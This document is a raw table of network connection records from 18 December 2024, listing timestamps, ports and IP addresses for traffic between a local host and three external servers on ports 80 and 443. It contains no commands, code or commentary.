Dec 18, 2024 09:07:24.590332031 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.590373993 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.590464115 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.591099977 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.591171026 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.591186047 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.591207027 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.591224909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.591950893 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.592036009 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.592050076 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.592072964 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.592092991 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.592878103 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.592958927 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.592973948 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.592994928 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.593017101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.593736887 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.593815088 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.593828917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.593852997 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.593873978 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.594578981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.594644070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.594659090 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.594681025 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.594701052 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.595457077 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.595546007 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.595560074 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.595594883 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.596309900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.596352100 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.596401930 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.596416950 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.596451044 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.597206116 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.597268105 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.597282887 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.597306013 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.597318888 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.598489046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.598568916 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.598583937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.598609924 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.598629951 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.598926067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.599004984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.599019051 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.599042892 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.599064112 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.599785089 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.599864006 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.599878073 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.599904060 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.599924088 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.993927956 CET	443	49717	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:24.994200945 CET	443	49717	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:24.994280100 CET	49717	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:24.995639086 CET	49717	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:24.995655060 CET	443	49717	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:25.468933105 CET	49718	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:25.469042063 CET	443	49718	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:25.469126940 CET	49718	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:25.469830036 CET	49718	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:25.469866991 CET	443	49718	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:26.684972048 CET	443	49718	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:26.685085058 CET	49718	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:26.686871052 CET	49718	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:26.686902046 CET	443	49718	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:26.687304974 CET	443	49718	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:26.688937902 CET	49718	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:26.689202070 CET	49718	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:26.689249992 CET	443	49718	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:26.689342976 CET	49718	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:26.689358950 CET	443	49718	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:26.924365044 CET	49712	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:26.924715042 CET	49719	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:27.044449091 CET	80	49719	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:27.044487953 CET	80	49712	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:27.044545889 CET	49719	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:27.044586897 CET	49712	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:27.044841051 CET	49719	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:27.164432049 CET	80	49719	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:27.628983974 CET	443	49718	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:27.629090071 CET	443	49718	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:27.629224062 CET	49718	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:27.629426956 CET	49718	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:27.629471064 CET	443	49718	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:28.376029015 CET	80	49719	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:28.376125097 CET	49719	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:28.378403902 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:28.378891945 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:28.487740993 CET	49721	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:28.487809896 CET	443	49721	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:28.487906933 CET	49721	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:28.488240957 CET	49721	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:28.488256931 CET	443	49721	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:28.498327017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:28.498409033 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:28.498486996 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:28.498605967 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:28.498786926 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:28.618247986 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:29.695250988 CET	443	49721	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:29.695338011 CET	49721	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:29.696655989 CET	49721	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:29.696680069 CET	443	49721	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:29.696922064 CET	443	49721	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:29.698268890 CET	49721	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:29.698390961 CET	49721	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:29.698404074 CET	443	49721	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:29.827635050 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:29.827711105 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:29.827765942 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:29.827789068 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:29.827800035 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:29.827837944 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:29.827846050 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:29.827883959 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:29.827889919 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:29.827927113 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:29.827929974 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:29.827979088 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:29.828012943 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:29.828022003 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:29.828099966 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:29.828142881 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:29.947691917 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:29.947736979 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:29.947807074 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:29.951796055 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:29.951855898 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:29.951873064 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:29.951950073 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.018748045 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.018811941 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.018824100 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.018877029 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.022886992 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.022989988 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.023037910 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.031263113 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.031333923 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.034313917 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.034368992 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.034440041 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.034492970 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.042725086 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.042787075 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.042792082 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.042845964 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.051093102 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.051152945 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.051189899 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.051235914 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.059489965 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.059561968 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.059606075 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.060172081 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.067806005 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.067864895 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.067903996 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.067943096 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.076168060 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.076221943 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.076250076 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.076288939 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.084614038 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.084717989 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.084741116 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.084785938 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.093106031 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.093214035 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.093277931 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.100402117 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.100461960 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.100480080 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.100523949 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.107465029 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.107985020 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.209849119 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.209932089 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.210016012 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.212038040 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.212156057 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.212882996 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.212934971 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.212977886 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.213025093 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.217478037 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.217539072 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.217565060 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.218193054 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.222040892 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.222119093 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.222179890 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.226617098 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.226692915 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.226747036 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.231209040 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.231277943 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.231303930 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.231348038 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.235758066 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.235841036 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.235894918 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.240400076 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.240437031 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.240467072 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.240499973 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.244934082 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.244967937 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.245003939 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.245038033 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.249483109 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.249555111 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.249603987 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.249644995 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.254045963 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.254084110 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.254106998 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.254143953 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.258615971 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.258688927 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.258719921 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.258753061 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.263159990 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.263232946 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.263251066 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.263288975 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.267719984 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.267786026 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.267839909 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.272320032 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.272384882 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.272387981 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.272428989 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.276873112 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.276953936 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.277005911 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.281399012 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.281457901 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.281493902 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.282404900 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.285990953 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.286061049 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.286077023 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.286108017 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.290550947 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.290608883 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.290631056 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.290663004 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.295141935 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.295205116 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.295253038 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.299751043 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.299793005 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.299813986 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.299844027 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.304239988 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.304341078 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.405405998 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.405467033 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.405533075 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.406990051 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.407052040 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.407784939 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.407984018 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.407987118 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.408085108 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.411206007 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.411261082 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.411307096 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.411468029 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.414731026 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.414752960 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.414798975 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.414822102 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.418025970 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.418209076 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.418257952 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.421303034 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.421397924 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.421457052 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.424565077 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.424628973 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.424685955 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.425494909 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.427772045 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.427864075 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.427918911 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.427963972 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.430905104 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.430957079 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.431045055 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.431478977 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.434051991 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.434106112 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.434178114 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.434222937 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.437174082 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.437277079 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.437345982 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.437391996 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.440296888 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.440438986 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.440484047 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.441236019 CET	443	49721	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:30.441351891 CET	443	49721	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:30.441418886 CET	49721	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:30.441567898 CET	49721	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:30.441591024 CET	443	49721	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:30.443420887 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.443487883 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.443546057 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.443645954 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.446544886 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.446590900 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.446707964 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.446753025 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.449657917 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.449711084 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.449881077 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.449928045 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.452780008 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.452893019 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.452920914 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.452934027 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.455931902 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.455987930 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.456068039 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.456108093 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.459050894 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.459122896 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.459161997 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.459445000 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.462186098 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.462256908 CET	49720	80	192.168.2.8	31.41.244.11
